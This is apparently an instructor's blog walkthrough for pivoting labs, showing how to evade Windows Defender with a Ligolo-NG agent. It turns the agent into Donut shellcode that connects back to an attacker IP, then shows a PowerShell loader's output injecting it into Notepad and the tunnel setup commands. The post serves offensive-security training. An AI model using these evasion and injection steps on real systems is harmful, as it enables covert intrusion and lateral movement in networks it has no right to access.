Ligolo agent – bypassing EDR

ligolo ph03n1x edr

Bypassing EDR for Your Ligolo Agent

Every cohort, the same wall shows up in the pivoting labs. A student gets their foothold, grabs the Ligolo-NG agent, drops it on the target, and… nothing. Windows Real-Time Protection eats agent.exe before it ever phones home. Then the messages start rolling into the channel: “my agent won’t connect”, “the file disappears after I copy it”, “Defender keeps quarantining it.”

If that’s you right now — good. This is exactly the friction the lab is designed to create. You’re not supposed to run a raw, signed-nowhere red-team binary on a monitored host and get away with it. Let’s talk about how I coach students through this without handing them the answer.

The Problem

The stock agent.exe from Ligolo-NG is a known artifact. Its bytes are recognizable, and Windows Real-Time Protection flags it on write or on execution. Copying it to disk as-is is a dead end on any host with RTP enabled.

The fix is twofold:

  1. Change what lands on disk so signature-based detection has nothing to match.
  2. Change how it runs so you’re not executing a flagged PE directly.

That means: convert the agent to position-independent shellcode, then inject that shellcode into a living process instead of launching an EXE.

Step 1 — Obfuscate the Agent with Donut

Donut turns a PE into encrypted, position-independent shellcode with randomized names — perfect for defeating static signatures. Install it on Kali:

sudo apt install donut

Then generate the shellcode from the Ligolo agent, baking in your connection parameters so the shellcode is self-contained:

donut -f 1 -o agent.bin -a 2 -p "-connect 192.168.45.214:11601 -ignore-cert" -i agent.exe
[ Donut shellcode generator v1 (built Feb 12 2026 14:39:18)
[ Copyright (c) 2019-2021 TheWover, Odzhan

[ Instance type : Embedded
[ Module file   : "agent.exe"
[ Entropy       : Random names + Encryption
[ File type     : EXE
[ Parameters    : -connect 192.168.45.214:11601 -ignore-cert
[ Target CPU    : amd64
[ AMSI/WDLP/ETW : continue
[ PE Headers    : overwrite
[ Shellcode     : "agent.bin"
[ Exit          : Thread

Now you have agent.bin — encrypted shellcode instead of a recognizable executable.

⚠️ Flags worth understanding, not just copying: -f 1 (raw output), -a 2 (amd64), -p (the parameters passed to the agent at runtime), -i (input PE). Take five minutes to read what each one does. 

Step 2 — Stand Up the Ligolo Proxy on Kali

┌──(kali㉿kali)-[~/Desktop/Tools/Ligolo-NG]
└─$ sudo ./proxy -selfcert

WARN[0000] Using default selfcert domain 'ligolo', beware of CTI, SOC and IoC!
WARN[0000] Using self-signed certificates
WARN[0000] TLS Certificate fingerprint for ligolo is: DA921CF...
INFO[0000] Listening on 0.0.0.0:11601

ligolo-ng »

The proxy is now listening on 11601 — the same port baked into the shellcode.

Step 3 — Transfer and Execute on Target

Serve the files from Kali with impacket-smbserver, then from the target pull both the shellcode and your loader script. I use a PowerShell loader I wrote specifically for this kind of evasion — it reads the shellcode and injects it into a fresh process rather than executing a flagged binary on disk.

C:\Windows\Tasks>copy r:\ligolo-exec.ps1 C:\Windows\Tasks\ligolo-exec.ps1
        1 file(s) copied.

C:\Windows\Tasks>copy r:\agent.bin C:\Windows\Tasks\agent.bin
        1 file(s) copied.

C:\Windows\Tasks>powershell -ExecutionPolicy Bypass -File C:\Windows\Tasks\ligolo-exec.ps1

[+] Starting shellcode injection process
[!] No Notepad process found. Starting Notepad...
[+] Notepad started (PID: 9932)
[*] Reading shellcode from local file...
[+] Shellcode loaded successfully (Size: 5565548 bytes)
[*] Finding last Notepad process...
[+] Found Notepad process (PID: 200)
[*] Opening process handle...
[+] Process handle opened successfully
[*] Allocating memory in target process...
[+] Memory allocated successfully at address: 0x267C5440000
[*] Writing shellcode to allocated memory...
[+] Shellcode written successfully (5565548 bytes)
[*] Changing memory protection to RX...
[+] Memory protection changed successfully
[*] Creating thread to execute shellcode...
[+] Thread created successfully - Shellcode executing!
[+] Shellcode injection completed!

Notice the pattern: spawn a benign host process, allocate memory, write the shellcode, flip the page to RX, spin up a thread. Standard process-injection flow — and because nothing recognizable ever touched disk as an executable, RTP has nothing to grab onto.

🔐 A note on my loader: I’m intentionally not publishing my ligolo-exec.ps1. Building and tuning your own loader is half the skill challenge. The nudges below point you to everything you need to write a better one than mine.

Step 4 — Bring Up the Tunnel

Back on the proxy, you’ll see the agent check in:

ligolo-ng » INFO[0363] Agent joined.  name="MEGACORPONE\e.smith@ENG-WS02"

ligolo-ng » session
? Specify a session : 1 - #1 - MEGACORPONE\e.smith@ENG-WS02 - 192.168.232.61:50788

[Agent : MEGACORPONE\e.smith@ENG-WS02] » start --tun tunnel2
[Agent : MEGACORPONE\e.smith@ENG-WS02] » INFO[0608] Starting tunnel...

Create and raise the virtual interface in a separate terminal:

sudo ip tuntap add user root mode tun tunnel2
sudo ip link set tunnel2 up

Then route the target’s internal subnet through the tunnel. Check ENG-WS02’s IP first, then add the route:

sudo ip route add 172.16.232.0/24 dev tunnel2

Now traffic to 172.16.232.0/24 flows through your pivot. Validate it with a quick spray using netexec against the internal range — if you get responses, the pivot is live.

MY Nudges for students

When students hit the RTP wall, here’s what we hand them — in this order:

📍 Three nudges. Three links. Do the work.

  1. Obfuscate your agent.exe with Donut. Install it easily with sudo apt install donut, then read the flags so you understand what you’re generating.
  2. This write-up walks the exact technique: Making Ligolo Stealthy via Donut
  3. Study this repo and write your own loader. Don’t copy it verbatim — adapt it, and use AI to help you reason through the injection logic: Extravenger/OSEPlayground — Tunneling

Why I Don’t Just Hand Over the Script

I get asked for my ligolo-exec.ps1 every single cohort, and the answer is always no — not to be difficult, but because the moment you write your own loader, three things click that never click when you paste someone else’s:

  • How process injection actually works — allocate, write, protect, execute.
  • Why “changing what’s on disk” and “changing how it runs” are two separate problems that both need solving.
  • How to adapt when the next EDR flags the technique you used last time.

The students who push through this wall on their own are the ones who breeze through the tunneling sections of the challenges. The ones who get handed a working script freeze the first time it doesn’t work.

Hit the wall. Read the flags. Write the loader. That’s the whole point.

Published by OffSecMentor-Ph03n1x | Field experience from AI300 & penetration testing labs
Scroll to Top